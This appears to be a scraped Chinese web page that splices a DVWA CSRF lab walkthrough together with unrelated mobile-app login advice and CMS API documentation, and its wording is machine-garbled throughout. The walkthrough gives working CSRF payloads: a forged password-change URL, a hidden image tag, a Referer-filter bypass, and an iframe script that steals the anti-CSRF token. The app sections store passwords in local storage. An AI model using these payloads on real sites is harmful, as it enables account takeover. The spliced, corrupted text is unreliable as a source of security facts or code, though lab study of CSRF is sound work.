DVWA之CS途胜F

路由器的密码应该都是可以reset的,看到后面的标签上有web界面的地址,客户端使用HTTP,向集成客户端提供查询数据和登录服务,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,CSRF并没有盗取cookie而是直接利用,而是真的见过很多并不需要登录的APP去做了登录功能,或者是并不需要强制登录的APP把登录作为启动页

图片 17

图片 1

5.登陆验证

漏洞使用

1、布局链接

A卡塔尔(英语:State of Qatar) 最幼功的:

http://192.168.153.130/dvwa/vulnerabilities/csrf/?password\_new=password&password\_conf=password&Change=Change\#

当受害人点击了那几个链接,他的密码就能够被改成password(这种攻击显得微微拙笨,链接一眼就能够看出来是改密码的,何况受害者点了链接之后看见那些页面就能清楚自身的密码被点窜了)

图片 2

1.png

急需留意的是,CS哈弗F最要害的是应用受害人的cookie向服务器发送杜撰央求,所以只要受害者在此以前用Chrome浏览器登陆的这一个系统,而用搜狗浏览器点击这一个链接,攻击是不会触发的,因为搜狗浏览器并无法动用Chrome浏览器的cookie,所以会活动跳转到登陆界面。

图片 3

1.png

有人会说,那个链接也太显眼了吗,不会有人点的,没有错,所以的确攻击场景下,大家需求对链接做一些拍卖。

B卡塔尔国 大家得以应用短链接来隐敝U汉兰达L(点击短链接,会活动跳转到真实网址):

如http://dwz.cn/****

图片 4

1.png

因为本地搭的条件,服务器域名是ip所以不能够转移对应的短链接=
=,实际攻击场景下假使目的服务器的域名不是ip,是足以生成对应短链接的。

图片 5

1.png

供给提示的是,尽管采取了短链接掩瞒url,但受害人最终还是会见到密码修正成功的页面,所以这种攻击方法也并不高明。

C卡塔尔(英语:State of Qatar) 布局攻击页面

实际攻击场景下,这种办法须求事情未发生前在公网络传二个抨击页面,诱骗被害人去探问,真正能够在受害人不知情的状态下做到CS奥迪Q5F攻击。这里为了有助于演示(才不是本人租不起服务器=
=),就在本土写贰个test.html,上面是切实代码。

<img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/><h1>404<h1><h2>file not found.<h2>

当被害者访谈test.html时,会误以为是自身点击的是多少个失效的url,但实际已经相当受了CS本田UR-VF攻击,密码已经被涂改为了hack。

图片 6

1.png

登陆和挂号要充足轻便
这是不大手提式有线电电话机端,用再好的输入法,打字也是不方便人民群众的,所以别把登陆页设计得须要填超级多东西。尽管有希望的话,只填手提式有线电话机号,让客户收取短信验证码就完了注册是最佳可是的了。想博得更加多消息?动脑大厂家的应用程式是如何是好的,他们会告诉顾客,今后的个人资料完备程度是五分之一,假如想得到愈来愈多积分,你须要填完。
tips:借使您想昭示在Appstore并且同一时间包涵注册作用,那么注册页面必需做三个顾客许可左券的链接,不然有希望通可是核查。

图片 7

概述

  • 1)登入的渴求和含义
    顾客端应当首要推荐决断服务器是不是须要必须登入。假若须求,则应率先调用登陆接口登陆,然后再供给其余接口。
    是还是不是须要强迫登陆,跟运转供给有关,网址运行者能够透过管住平台安装那些选项。
    假诺未有强制须要,客户端能够登陆,也能够不登入。
    客商正确登入后,会博得八个token值,在继续的接口中,应当将该token值带入。比如:

  • 2)登入的流程
    服务器和客商端通过“挑衅->应答”形式(challenge-response)实行身份验证交互作用,在这几个进度中,顾客端供给调用一遍接口向服务器注脚身份。认证进程中没有必要传递密码,密码用于签名验证。
    身价验证的过如下:
    1)顾客端选拔“客户名”作为参数调用“login1”接口,向服务器发出身份认证央浼
    1.1)服务器确认客户是不是是有效的客商:
    1.2)若不是,则不做进一层管理,再次回到错误音讯
    1.3)设若,服务器产生叁个“随机数(挑衅字符串)”发送给客商端
    2)顾客端选拔“客户密码”和“随机数(挑战字符串)”作为输入,按预订的算法生成贰个hash值,用该hash值作为
    调用“login2”接口的参数,需要login2接口。
    2.1)服务器用收到的hash值与友爱的乘除结果相比,若两个相像,则透过验证;不然,认证败北
    2.2)若申明通过,服务器再次回到“token”给客商端,否者再次回到错误消息。

High

劳务器端宗旨代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    mysql_close();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

能够看出,High级其余代码参预了Anti-CSENVISIONF
token机制,客商每回访谈改密页面时,服务器会再次来到三个自便的token,向服务器发起呼吁时,需求交给token参数,而服务器在收受央浼时,会事情未发生前检查token,唯有token正确,才会管理客户端的央浼。

这种景况是不菲偷懒的程序员也许傻X的业主选择的秘籍,因为做起来其实太快。假使笔者网址是响应式布局,那么很有异常的大可能率无需做如何更改,就尽管在支付时打早先页就好了,那样Hybird的APP外壳就纯粹成为了贰个浏览器。
但比起那样做带给的大多劣点来,开采进程快的独特之处差非常少能够忽视不计。
第生机勃勃,在网络遭遇不好时,纯大白页,客户体验0;
下一场,CSS和JS等能源不在本地,必要长途载入,假如运用了bootstrap之类的框架,那客商为了开一下应用程式而消耗的流量真是令人感动;
再然后,网页里常用的jquery,在二弟大的webview里速度并不理想,而假诺是非ajax的网页那就更加郁闷了,每一遍操作都要跳转和页面渲染,要令人把它当成应用软件那其实是见笑于人。
再再然后,那样的所谓APP,要透过Appstore的甄别,那是胡思乱想的(除非考察员当天闹肚子严重,拿着纸巾奔向厕所前误点了通过……),苹果的渴求是,这得是APP,而不能够是有个别网址做成应用软件的理所当然,那样的景色切合做Web
应用软件。而据小编所知,国内多少个很大的Android市场,那样的APP也是无法通过审查批准的。

image

5.1.判断是还是不是必须登入

  • 用途
    看清是不是要求必得登陆。
    若是必要必得登陆,则供给首先登场入,否者查询数据的接口会重返未有权力的乖谬。

请求

  • 响应

{
    "code": 0,
    "err_desc": "no"
}

err_desc 属性描述了对登陆的需求。no 表示不强迫要求, yes
代表必需须要登陆。

Impossible

劳务器端主旨代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = mysql_real_escape_string( $pass_curr );
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

能够看出,Impossible等级的代码应用PDO本领防范SQL注入,至于防护CSXC60F,则供给客户输入原始密码(轻易残暴),攻击者在不知晓原本密码的景观下,无论怎样都无法儿展开CSRAV4F攻击。
原帖地址:http://www.freebuf.com/articles/web/118352.html

UserInfo.password = function(){
    if(arguments.length == 0){
        return plus.storage.getItem(‘password’);
    }
    if(arguments[0] === ”){
        plus.storage.removeItem(‘password’);
        return;
    }
    plus.storage.setItem(‘password’, arguments[0]);
};

image

4.查询播放地址

Low

劳务器端宗旨代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    mysql_close();
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

可以看见,服务器收到纠正密码的央求后,会检查参数password_new与password_conf是不是相符,假设同样,就能矫正密码,并不曾别的的防CSTiggoF机制(当然服务器对央浼的发送者是做了身份验证的,是检查的cookie,只是这里的代码未有反映=
=)。

刚刚的艺术,机智一点儿的读者差没有多少会心存疑虑:那获取token时不如故得精晓传输叁次密码吗?
是的,你能够将以此得到token的地点,用SSL来维护(比如),那样红客正是截了包,不时半会儿也解不出什么消息。
SSL证书的获得路子非常多,作者信赖你总有法子查到,所以不赘述了。可是话说namecheap上的SSL证书比godaddy的要低价得多……(那是讥笑)
tips:近日OpenSSL漏洞让好些个服务器遭殃,所以只要本人搭服务器,一定记得装补丁。
tips:能够把持有接口都弄成SSL的吗?能够。但会拖慢服务器,假若是构造并不自信的VPS,提议不折腾。

图片 8

2.查询分类

漏洞使用

过滤法则是http威海的Referer参数的值中必得含有主机名(这里是192.168.153.130)

大家得以将攻击页面命名叫192.168.153.130.html(页面被放置在攻击者的服务器里,这里是10.4.253.2)就能够绕过了

图片 9

1.png

下面是Burpsuite的截图

图片 10

1.png

Referer参数完美绕过过滤准绳

图片 11

1.png

密码改革成功

图片 12

1.png

您是或不是真的要求报到功效?
把那个主题材料放在最前头并非灌注,而是真正见过比相当多并无需登录的应用程式去做了登入功能,大概是并无需强迫登录的APP把登陆作为运转页。
客商对您的APP不学无术,你将在求对方注册并报到,除非APP本人已经很有信誉或许是客商有强必要,不然符合规律人应有会直接把它删掉。
正如和蔼的方法是将风度翩翩部分并没有必要登入,但能够给顾客带来支持的东西,第不时间表现给她们,让她们发生兴趣,再在适当的时机指引他们注册(举例动用需求使用越来越高档的法力,或客商需求收藏有个别心仪的音信时)。

[password:aaaaaaaa];{“errorCategory”:”Three_time_err”,”csrf_param”:”VKGTylVILQA9SFsTyYdpkHv8qfJPIIw”,”count”:3,”csrf_token”:”MTQLBcWQN+1DJjAP+A6xC4AUSXciBod”}

5.4.logout

  • 用途
    分离登入,退出应用前请尽量调用该接口。
    请求

    =abcdefg
    token 登陆接口中获取的token

  • 响应

{
    "code": 0,
}

Medium

服务器端大旨代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = mysql_real_escape_string( $pass_new );
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    mysql_close();
}

?> 

连带函数表明

int eregi(string pattern, string string)

自己商议string中是不是包涵pattern(不区分轻重缓急写),即便有再次回到True,反之False。

能够看见,Medium级其他代码检查了封存变量
HTTP_REFEREGL450(http咸阳的Referer参数的值,表示来源地址)中是还是不是含有SERubiconVE索罗德_NAME(http许昌的Host参数,及要拜会的主机名,这里是192.168.153.130),希望经过这种机制抵御CSOdysseyF攻击。

图片 13

1.png

//撤消登陆消息
UserInfo.clear = function(){
    plus.storage.removeItem(‘username’);
    plus.storage.removeItem(‘password’);
    plus.storage.removeItem(‘token’);
}

image

3.询问媒体能源

CSRF(Cross-site request forgery)

CS昂科拉F,全称Cross-site request
forgery,翻译过来正是跨站央求虚构,是指利用被害者还未失效的地位注解消息(cookie、会话等),诱骗其点击恶意链接大概访谈饱含攻击代码的页面,在被害人不知情的景色下以被害者的身份向(身份ID明音讯所对应的)服务器发送乞求,进而实现违法操作(如转账、改密等)。CS奇骏F与XSS最大的分别就在于,CS福特ExplorerF并未偷取cookie而是直接利用。在2012年公布的新版OWASP
Top 10中,CSEnclaveF排行第8。

图片 14

1.png

下面临种种级其他代码进行剖析。

签届期伏乞二次token,之后用token调用接口

image

2.1.查询分类

  • 用途
    查询CMS上的分类新闻。
    请求

    parent 上级分类编号。假诺忽视,会再次回到一流分类列表。
    只要要询问顶级分类,请去掉parent参数。

  • 响应

{
    "code": 0,
    "data": {
        "count": 2,
        "items": [
            {
                "id": 1,
                "name": "公共栏目",
                "comment": "",
                "upper_catalog_id": 0
            },
            {
                "id": 2,
                "name": "私有栏目",
                "comment": "",
                "upper_catalog_id": 0
            }
        ]
    }
}

id 编号
name 名称
comment 备注
“upper_catalog_id 上级分类编号, 0 表示方今分类是一流分类。

漏洞使用

要绕过High级其他反CS牧马人F机制,关键是要拿到token,要使用受害人的cookie去改善密码的页面获得首要的token。

试着去协会八个抨击页面,将其放置在攻击者的服务器,引诱受害人访谈,进而做到CS宝马X3F攻击,上边是代码。

<script type="text/javascript">    function attack()  {   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;  document.getElementById("transfer").submit();   }</script> <iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;"></iframe> <body onload="attack()">  <form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">   <input type="hidden" name="password_new" value="password">    <input type="hidden" name="password_conf" value="password">   <input type="hidden" name="user_token" value="">  <input type="hidden" name="Change" value="Change">   </form></body>

攻击思路是当受害人点击步入这些页面,脚本会通过叁个看不见框架偷偷访问校勘密码的页面,获取页面中的token,并向服务器发送改密伏乞,以成就CSRAV4F攻击。

可是理想与具象的差异是伟大的,这里牵扯到了跨域难点,而最近的浏览器是不许跨域乞请的。这里差不离解释下跨域,大家的框架iframe访谈的地点是http://192.168.153.130/dvwa/vulnerabilities/csrf,坐落于服务器192.168.153.130上,而大家的抨击页面位于黑客服务器10.4.253.2上,两个的域名不一致,域名B下的具有页面都不准主动获取域名A下的页面内容,除非域名A下的页面主动发送消息给域名B的页面,所以大家的笔伐口诛脚本是不恐怕取到改密分界面中的user_token。

是因为跨域是不可能促成的,所以咱们要将攻击代码注入到对象服务器192.168.153.130中,才有比相当的大可能率成功攻击。下边选拔High级其余XSS漏洞援救获取Anti-CS陆风X8F
token(因为此处的XSS注入有长度限定,不可以见到注入完整的大张讨伐脚本,所以只获得Anti-CSPRADOF
token)。

图片 15

1.png

此间的Name存在XSS漏洞,于是抓包,改参数,成功弹出token

图片 16

1.png

流入代码如下

图片 17

1.png

mui.web_query = function(func_url, params, onSuccess, onError,
retry){
    var onSuccess = arguments[2]?arguments[2]:function(){};
    var onError = arguments[3]?arguments[3]:function(){};
    var retry = arguments[4]?arguments[4]:3;
    func_url = ‘’ + func_url;
    mui.ajax(func_url, {
        data:params,
        dataType:’json’,
        type:’post’,
        timeout:3000,
        success:function(data){
            if(data.err === ‘ok’){
                onSuccess(data);
            }
            else{
                onError(data.code);
            }
        },
        error:function(xhr,type,errorThrown){
            retry–;
            if(retry > 0) return mui.web_query(func_url, params,
onSuccess, onError, retry);
            onError(‘FAILED_NETWORK’);
        }
    })
};
var onError = function(errcode){
    switch(errcode){
    case ‘FAILED_NETWORK’:
        mui.toast(‘网络不好’卡塔尔(قطر‎;
        break;
    case ‘INVALID_TOKEN’:
        wv_login.show();
        break;
    default:
        console.log(errcode);
    }
};
var params = {per:10, pageno:coms_current_pageno};
mui.web_query(‘get_com_list’, params, onSuccess, onError, 3);
调用后端接口怎样才平安?
在APP中保留登入数据,每趟调用接口时传输

image

5.2.login1

  • 用途
    交给注脚申请,接口再次回到挑战字符串。
    请求

    username 登入客户名。

  • 响应

{
    "code": 0,
    "data": {
        "count": 1,
        "items": [
            {
                "id": 37,
                "chcode": "9luqgrnj5vvszmjw"
            }
        ]
    }
}

id session识别号,用于login2接口,原样传递给login2就可以。
chcode
挑战字符串,客商端按预定准则使用该字符串生成三个hash值,然后调用login2接口。

福寿康宁登入后的session有三种形式?
应用软件当浏览器用,直接载入远程页面

图片 18

1.5.参考

[1] RFC 2616, Hypertext Transfer Protocol — HTTP/1.1[S].
[2] RFC 3986, Uniform Resource Identifier (URI): Generic
Syntax[S].
[3] Introducing JSON

function get_pwd_hash(pwd){
    var salt = ‘hbuilder’; 
//此处的salt是为着幸免红客撞库,而在md5此前对最先的作品做一定的变形,能够设为自身钟爱的,只要和服务器验证时的salt后生可畏致就能够。
    return md5(salt + pwd卡塔尔;
//此处假若你曾经援引了md5相关的库,例如github上的JavaScript-MD5
}

图片 19

1.4.回去新闻布局

重回的json音信数据布局具有从严的风华正茂致性,顾客端可以运用肖似的吸收和深入分析方法管理回来新闻。
轻巧信息
简易的回来消息包括对要求的管理结果,布局如下:

{
    "code":0,
    "err_desc":""
}

其中:
code 为0表示管理成功,其余值表示管理战败。
err_desc是对错误的陈述,在code为0时err_desc会被总结。
特别意况,在客户认证的login1和login2接口中,err_desc具有特殊用场用法,具体参见接口描述。除这七个接口之外,err_desc都代表错误描述。
带业务数据的新闻
少年老成对重回音信除了含有管理结果消息,还包罗业务数据记录集,构造如下:

 {
        "code":0,
        "data":{
            "count":1,
            "items":[...]
        }
    }

其中:
data 业务数据的根节点:
count 业务数据的条数,恐怕的值为0 ~ n
items
业务数据,是五个数组,数据条数由count属性定义。当count为0时,items属性或然为null大概官样文章。
本文书档案后续章节中,在呈报items成分的习性时,会简单一些属性的陈诉,即事实上调用接口再次来到的天性在本文书档案中可能会未有描述,这种情况下请直接忽视被忽视描述的属性值。本文书档案中描述的性质是实际上再次来到内容的贰个子集,未有描述到的剧情对集花销系统未有影响。
带分页数据的新闻
若果回到数据超多,服务器会对回到的数额举办分页,客户端能够遵从页码央浼钦命范围的多少。带分页消息的归来数据构造如下:

    {
    "code":0,
    "data":{
        "page":1,
        "page_size":"20",
        "pages":"1",
        "total":"2",
        "count":2,
        "items":[...]
                }
}

分页数据消息在data成分下,意义如下:
page 当前页码
page_size 每页数据记录条数
pages 总共的页数
total 总的数量据条数
count 当前再次回到页的数额条数
只要回到的数据带有分页消息,则能够在调用接口时行使page参数来呼吁内定页码的数额。

UserInfo.token = function(){
    if(arguments.length == 0){
        return plus.storage.getItem(‘token’);
    }
    if(arguments[0] === ”){
        plus.storage.removeItem(‘token’);
        return;
    }
    plus.storage.setItem(‘token’, arguments[0]);
};
如此那般当客商运转应用程式或行使了亟待报到技能使用的功能时,就足以行使UserInfo.has_login(卡塔尔(英语:State of Qatar)来决断是或不是曾经报到,要是已报到,则动用UserInfo.token(卡塔尔来博取到token数据,作为参数调用远程的后端接口。

图片 20

1.概述

插黄金年代段代码,小编把mui的ajax又做了越来越包装,对过期实行了活动重试,而对invalid_token等处境也做相应管理:

图片 21

4.1.查询播放地址

  • 用途
    查询有个别媒体财富的广播地址。
    请求

    media_id 能源编号。
    protocol
    播出左券,点播财富能够是hls,http-flv或http-VCD;直播财富得以是
    rtmp或hls。假如轻便,重临全体契约的地点。
    客商端请依据终端类型采纳合适的公开放映公约:
    android、ios或任何援助H5的浏览器,能够选用:hls, http-VCD公约
    PC选用http-flv或rtmp协议

  • 响应

{
    "code": 0,
    "data": {
        "count": 1,
        "items": [
            {
                "id": 104,
                "resource_id": 39,
                "web_url": "/mp4/vod/yellowstone/yellowstone.mp4",
                "web_io_protocol": "http-mp4",
                "add_time": "2017-08-25 16:35:16"
            }
        ]
    }
}

再次回到0个或七个广播地址,一个能源也会有七个不等协商的广播地址。
resource_id 财富编号
web_url 播出地址
“web_io_protocol 播出左券

//这里借令你已经因而DOM操作获取到了客商名和密码,分别保存在username和password变量中。
var username = xxx;
var password = xxx;
var pwd_hash = get_pwd_hash(password);

image

1.2.通讯商业事务

客商端和服务器通过HTTP合同通信,客商端应用HTTP
Get向服务器发送哀告,服务器重返json格式的工作数据或操作结果给客户端。

那是比较安全的艺术,客户在登入时,APP调用获取token的接口(比如),用post将客商名和密码的摘要传递给服务器,然后服务器比对数据库中的客户新闻,相配则赶回绑定该客商的token(那相似翻译为令牌,很直观的名字,风度翩翩看就精晓是有了这个人,就能够对您放行),而数据库中,在客商的token表中也相同的时候插入了这几个token相关的多少:这一个token归于哪个人?这些token的有效期是多久?那些token当前报到的ip地址是?这么些token对应的deviceid是?……
这样纵然token被精心截获,也不会形成太大的乌兰察布危害。因为从没客户名和密码,然后生龙活虎旦红客通过这些token捏造客户乞求,大家在服务器端接口被调用时就足以对发起号令的ip地址、user-agent之类的新闻作比对,防止止杜撰。再然后,假诺token的保质期设得小,过会儿它就过期了,除非黑客能够穿梭截获你的token,不然他不能不眼睁睁。(插一句题外话:看见这里,是否知道怎么不引入在外场随意接入来历非常不足明确的wifi销路广了?)
tips:token怎么样调换?
能够依赖客户的音信及一些随便消息(比方时间戳)再经过hash编码(举个例子md5、sha1等)生成唯生龙活虎的编码。
tips:token的安全等级,决计于你的莫过于必要,所以假如不是涉及财产安全的天地,并不提出太严格(比方顾客走着走着,3G换了个基站,闪断了眨眼间间IP地址变了,尼玛token过期了,那就归于为了不供给的平安丢了客商体验,当然假若调换的IP地址跨省的话照旧应当证美赞臣下的,动脑筋QQ一时候会让填验证码就知晓了)。
tips:接口在重回音讯时,能够蕴含此番哀告的场合,比方成功调用,那么result[‘status’]兴许正是’success’,而反之则是’error’,而假若是’error’,则result[‘errcode’]中就足以包涵错误的来由,举例errcode中是’invalid_token’就能够告诉应用软件这几个token过期或无效,那时候应用程式应弹出登入框恐怕用本地存款和储蓄的顾客名或密码再度央浼token(客户筛选“记住密码”,就活该在地点保存客户名和密码的摘要,方法见plus.storage的文书档案)。

3、路由器重回数据

1.1.用途

向集成客户端提供查询数据和登陆服务。
要是财富必要授权能力查看和使用,请首先阅读“5.登入验证”小节。

那是个很好的一代,因为不论是后端你是用Java、PHP,依然node.js,都足以通过xml、json来和APP通信。遥想当年写服务端要协和写包布局,然后为了解决现身难题还折腾了四个月IOCP模型,真心感到现在太甜蜜了。
把刚刚丰盛用应用程式当浏览器使的案例的有着劣点反过来看,正是如此做的亮点,在优化康健的图景下体验左近原生,并且通信流量极少,通过各个审查批准也是妥妥的。
tips:通过plus对象中的XMLHttpRequest来Get、Post远程的后端接口,只怕使用Mui中封装好的AJAX相关函数。

image

2.2.查询分类树

  • 用途
    查询全数分类及其属下分类。
    请求

  • 响应

{
    "code": 0,
    "data": {
        "count": 2,
        "items": [
            {
                "id": 1,
                "name": "公共栏目",
                "comment": "",
                "upper_catalog_id": 0,
                "sub_items": [
                                {
                                    "id": 5,
                                    "name": "二级分类1",
                                    "comment": "",
                                    "upper_catalog_id": 1
                                },
                                ...
                    ]
            },
            ...
        ]
    }
}

id 编号
name 名称
comment 备注
“upper_catalog_id 上级分类编号, 0 表示近些日子分类是一级分类。
sub_items 下级分类数组,满含 0 或三个下级分类。

还要更更安全(那标题真方便)

image

1.3.接口供给

接口地址是贰个HTTP公约的url地址,具体魄式是:

ip替换来实际服务器的ip或域名,假如端口不是暗许端口,必要把端口加上。
token是印证字符串,在签到接口中收获,若无登入则省略。
此外内容参见接口的定义。
当UPAJEROL乞求参数值中蕴藏UHighlanderL地址保留字符时,应对参数值进行UEvoqueL编码。
具体参见“OdysseyFC2396: Uniform Resource Identifiers (U安德拉I卡塔尔(英语:State of Qatar): Generic
Syntax”。
当倡议参数包罗中文字符时,应对汉语字符接纳UTF-8编码。

mui.web_query(‘get_token’, {username:username,password:pwd_hash},
onSuccess, onError, 3);
更安全一点,获取token通过SSL

图片 22

3.1.查询媒体能源

  • 用途
    查询媒体能源。
    能够查询有些编号的财富的音讯,也得以查询某些分类下的装有财富新闻。
    请求

    parent
    分类编号,倘若要查询某些分类下的全体能源,请忽视下三个参数。
    media_id
    能源编号,若是给出该参数,则只询问号码为media_id的多少个财富的新闻,并忽略parent参数。

  • 响应

{
    "code": 0,
    "data": {
        "page": 1,
        "page_size": "20",
        "pages": 9,
        "total": "18",
        "count": 2,
        "items": [
            {
                "id": 79,
                "catalog_id": 2,
                "title": "vod - 8898",
                "sub_title": "G3视频",
                "abstract": null,
                "text": null,
                "resource_type": "vod",
                "cover": "/mserver/cms/covers/res_cover_79.jpg?1515729601",
                "duration": 98,
                "add_time": "2018-01-08 19:19:26",
                "view_times": 0,
                "open_status": 0
            },
            ...
        ]
    }
}

重返0个或多少个能源音讯。
id 财富编号
catalog_id 所属分类编号
title 标题
sub_title 小标题
abstract 摘要描述
text 描述
resource_type vod或live
cover 封面地址
duration 播放时间长度
add_time 增加时光
view_times 观察次数
open_status 开放景况

//检查是还是不是已报到
UserInfo.has_login = function(){
    var username = UserInfo.username();
    var pwd = UserInfo.password();
    var token = UserInfo.token();
    if(!username || !pwd || !token){
        return false;
    }
    return true;
};

image

5.3.login2

  • 用途
    动用login1重回的chcode总括出四个hash值,提交给本接口申请到贰个token。该token值用于其余接口的表明。
    请求

    id login1接口回到的id值,原样带入。
    hash 根据约定计算出的hash值。算法:
    hash=md5(md5(password)+chcode)
    陈述:首先总括出密码的hash值,然后在变化的密码hash值尾巴部分拼接上挑衅字符串形成新的字符串,最终总计那个新字符串的hash值。
    hash算法采取md5算法,生成的摘要选拔16进制编码,编码生成的字符选取小写字母。
    例如,字符串111111的hash值是 96e79218965eb72c92a549dd5a330112

  • 响应

{
    "code": 0,
    "data": {
        "count": 6,
        "items": [{
            "id": 2,
            "name": "王工",
            "sex": 1,
            "logo": null,
            "token": "c9xpghlmgxn58kdq",
            "group_id": 1
        }]
    }
}

name 用户名
sex 性别,1男 0女
logo 顾客头像,null只怕头像url
token
认证令牌,在不恐怕保证session的情形下,在伏乞其余接口中应该将token参数带入
group_id 顾客所属的客商组

//检查是还是不是含有自动登入的音讯
UserInfo.auto_login = function(){
    var username = UserInfo.username();
    var pwd = UserInfo.password();
    if(!username || !pwd){
        return false;
    }
    return true;
}

在linux上校订ip地址,超级轻易一条命令就能够消除:

if(UserInfo.has_login()){
    //张开要求出示给客户的页面,大概是调用远端接口
}
else{
    wv_login.show(‘slide-in-up’卡塔尔(قطر‎;   //从最底层向上海滑稽剧团出登入页面
}
在签到页面中,客商输入了客商名和密码后,并点击了”登陆“按键,大家下一步做什么?再插段代码(注意:此处使用的是本身刚刚代码中增添的web_query函数,你也得以直接动用mui的ajax):

ip地址被约束,供给静观其变1分钟的唤起:

var onError = function(errcode){
    switch(errcode){
    case ‘INCORRECT_PASSWORD’:
        mui.toast(‘密码不科学’卡塔尔(قطر‎;
        break;
    case ‘USER_NOT_EXISTS’:
        mui.toast(‘客户未有注册’卡塔尔国;
        break;
    }
}

图片 23

还记得刚才APP向服务器央浼token时,能够投入的客户音讯吗?举例客商的配备deviceid。
就算大家在调用接口时,还捎带叁个当下日子戳参数timestamp,同一时候,用deviceid和这几个时刻戳再生成多个参数sign,例如md5(deviceid timestamp
token卡塔尔(英语:State of Qatar)那样的花样。而服务端首先验证一下参数中的时间戳与近日服务器时间是或不是相通(标称误差保持在客观范围内就能够,比方5分钟),然后依照顾客保存在服务器中的deviceid来对参数中的时间戳进行相通的变形,验证是还是不是相配,那便自然“更更安全”了。
tips:要是对总体调用央求中的参数实行排序,再以deviceid和timestamp加上排序后的参数来对全部调用生成1个sign,红客正是截获sign,差异的时间点、参数央求所运用的sign也是莫衷一是的,难以虚构,自然会更安全。当然,写起来也更麻烦。
tips:掌握了规律,整个验证进程是能够依赖自身的急需退换的。